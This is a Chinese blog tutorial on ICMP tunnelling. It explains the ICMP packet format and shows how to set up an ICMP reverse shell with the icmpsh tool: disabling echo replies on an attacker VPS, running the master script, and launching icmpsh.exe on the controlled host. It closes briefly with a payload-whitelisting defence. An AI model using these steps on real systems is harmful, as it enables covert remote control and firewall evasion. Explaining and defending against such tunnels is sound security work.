目录

第一节 轶事

第二节 技术原理

第三节 ICMP反弹shell


第一节 轶事

首次听说icmp隧道,要从免费上网说起。当年的网费还是挺贵的,大学生上个网还是容易“破产”呀。当你的网费耗尽后,网管服务器就会拦截你的网络请求,但是只拦截了TCP和UDP协议,放过了ICMP协议,ping ip还是可以的,于是就开始琢磨利用icmp隧道将访问转发到自己的一台放置在公网中的代理,利用代理中转访问公网,实现免费上网。

当然现在使用ICMP隧道更多地是越过一些协议的限制,做一些渗透测试。

第二节 技术原理

使用ICMP协议最常见的就是ping工具,在ping www.baidu.com的时候可以看到,ICMP协议是典型的一问一答模式,本机向百度服务器发送ICMP请求包,如果请求包成功到达目的地,百度服务器则回应ICMP响应包。

ICMP(Internet Control Message Protocol)是IPv4协议族中的一个子协议,用于IP主机、路由器之间传递控制消息。控制消息是在网络通不通、主机是否可达、路由是否可用等网络本身的消息。ICMP报文以IP协议为基础,其报文格式如下:

如上图所示,ICMP协议在实际传输中数据包:20字节IP首部 + 8字节ICMP首部+ 1472字节<数据大小>38字节。对于ICMP首部细分为8位类型+8位代码+16位校验和+16位标识符+16位序列号,其中类型的取值如下,我们比较关注的是请求(取值为8)和应答(取值为0)。

最直观的做法是使用抓包工具看一下icmp包的内容,分别看一下windows和linux平台的ping发包,会有一些不同。

在win10上,ping www.baidu.com:

我比较关注的是icmp的数据区,这块区域较大,能干很多事情。win10 ping默认发送的数据是abcdefghijklmnopqrstuvwabcdefghi,共32bytes,而且ICMP响应包数据区的内容和它是一致的,这就是ping的特点,请求什么,响应什么。

而linux则不一样。先使用tcpdump -i eth0 icmp -w icmp.pcap抓包,将抓包文件使用wireshark打开分析发现,linux ping默认发送的数据大小是56bytes,前8个字节为时间戳,而剩下的48bytes相对比较复杂,每次的内容部分不一样,其中一样的是末尾的23bytes,内容为!”#$%&’()*+,-./01234567,那中间25bytes是什么内容呢?卖个关子,下一篇再讲,哈哈。

不禁要思考icmp的数据区只能这么大吗?当然不是,可以自定义的,例如通过给ping指定 -l 参数,就可以修改icmp包的大小。

从上面知道了ping包的结构,我们如果想通过ICMP协议传输数据,操作空间主要是在数据区中,而ping工具的做法是请求什么内容,就回复什么内容,所以设计反弹shell没办法用到ping工具,需要自己开发。

第三节 ICMP反弹shell

如果之前做过渗透测试的朋友,肯定知道反弹shell,ICMP反弹shell只不过是将通信协议换成了ICMP。其基本架构内容如下:

从架构图上,可以看到是传统的C/S结构,hacker在具有公网ip的VPS上启动server,在被控机器上启动client ,client主动连接server,从而实现通信。为什么是client主动连接server呢?因为被控机器一般是在内网中,没有公网ip。

有没有相应的开源项目呢?当然是有的,https://github.com/inquisb/icmpsh/,这个实现了一个简单icmp反弹shell,它其中的client叫做slave,server叫做master,都是一回事。

master端部署在我自己的VPS上,具有公网ip,首先关闭自身的icmp应答:

$ sysctl -w net.ipv4.icmp_echo_ignore_all=1 (开启置为0)

然后就可以启动icmp应答程序.

第一个参数是VPS的公网ip,第二个参数是被控机器的公网ip。被控机器的公网ip,是不是有点迷糊,严格说这个ip应该是server端看到的ip,为什么需要这个参数呢?主要是为了填充icmp包的ip地址。为了得到这个ip可以从内网终端ping这个vps,在vps用tcpdump -i eth0 icmp获取这个ip,然后填写。

先在VPS启动命令:

python icmpsh_m.py 源ip 目的ip

接着在被控端启动命令:

icmpsh.exe -t 目的ip

这样ICMP反弹shell就建立了,可以远程执行命令了。

那怎么防御ICMP反弹shell呢?其实特征已经很明显了,建立ping数据区报文的白名单,不在白名单之内的拦截即可,当然还要视抓取的数据来定,可能有业务使用了icmp协议。

icmp反弹shell 简介相关推荐

  1. windows反弹shell复现

    windows反弹shell 简介: reverse shell(反弹shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端.reverse sh ...

  2. 什么是反弹shell

    什么是反弹shell 简介 简单案例 服务端 客户端 结果 简介 反弹Shell(Reverse Shell)是一种网络攻击技术,用于通过远程主机上的Shell(命令行终端)与攻击者建立连接,从而控制 ...

  3. 反弹shell原理与实现

    webshell是黑客入侵网站服务器的常用手段.在使用webshell对Linux网站服务器进行入侵提权的过程中,如果直接在webshell中执行漏洞利用程序,由于缺少可交互的环境,不能连续执行命令, ...

  4. 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。...

    反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹. 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常 ...

  5. Linux中一句话反弹Shell细说

    简介 我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做的是工作内容之一,其中经常会遇到以下几个场景. 一.场景一 我们已经拿下主机的一个webshe ...

  6. linux各种一句话反弹shell总结

    [技术分享]linux各种一句话反弹shell总结 作者:[myles007] 简介 我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做的是工作内容之 ...

  7. Windows下反弹shell的方法

    1.powercat反弹shell powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,实际上是一个powers ...

  8. 带你了解LINUX反弹Shell的各种姿势(超详细)

    简介 LInux反弹Shell(Reveser Shell), 也可以称为反向Shell, 由被控制端主动向控制端发送请求建立通讯, 随后将执行命令的结果输出到控制端, 本质上是网络概念的客户端与服务 ...

  9. 内网渗透之Linux反弹shell(一)

    前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 内网渗透专栏:https://blog.csdn.net ...

最新文章

  1. TCP通过滑动窗口和拥塞窗口实现限流,能抵御ddos攻击吗
  2. 怀化学院计算机科学张显老师,怀化学院:计算机“华山论剑”获佳绩
  3. Ubuntu下RMI Server 抛出java.rmi.ConnectException: Connection refused to host: 127.0.0.1解决办法
  4. WeChat微信小程序网易云音乐播放链接方法
  5. 一句话理解tf.identity的含义
  6. mysql 演示吧_postgreSQL常用命令
  7. 实验报告-python文库_Python实验报告
  8. Sublime Text一个小插件——SideBarEnhancements
  9. ARC094F Normalization
  10. 数据可视化分析工具评测: DataEase (开源新贵)VS.帆软 FineBI(老牌产品)
  11. 读书笔记《TAOCP》 V1 S1.1
  12. 华为证书有效期是多久?证书要到期了怎么办?
  13. 网站性能并发测试工具
  14. element-ui ele-calendar 清除选中 事件
  15. LaTeX 多语言支持
  16. 银耳椰椰——Alpha冲刺Day06
  17. c语言int【】=(123456789) 元素a【】的值,算法-用C语言实现
  18. 快速隐藏所有桌面图标快捷键是什么?
  19. Java岗大厂面试百日冲刺【Day46】— Linux2 (日积月累,每日三题)
  20. android 转码工具下载,m3u8视频转码工具

热门文章

  1. 5G NGC — 关键技术 — R16 eSBA
  2. C#中Monitor和Lock以及区别
  3. 保护个人信息安全之法律思考
  4. thinkphp 整合 swiftmailer 实现邮件发送
  5. Android实现炫酷的星空变幻效果
  6. div模拟textarea文本域轻松实现高度自适应
  7. ActiveReports 报表应用教程 (2)---清单类报表
  8. 浅谈Android引用计数(2)
  9. xi mapping function-concat
  10. 科学家揭示灵长类早期胚胎发育多能性的变化模式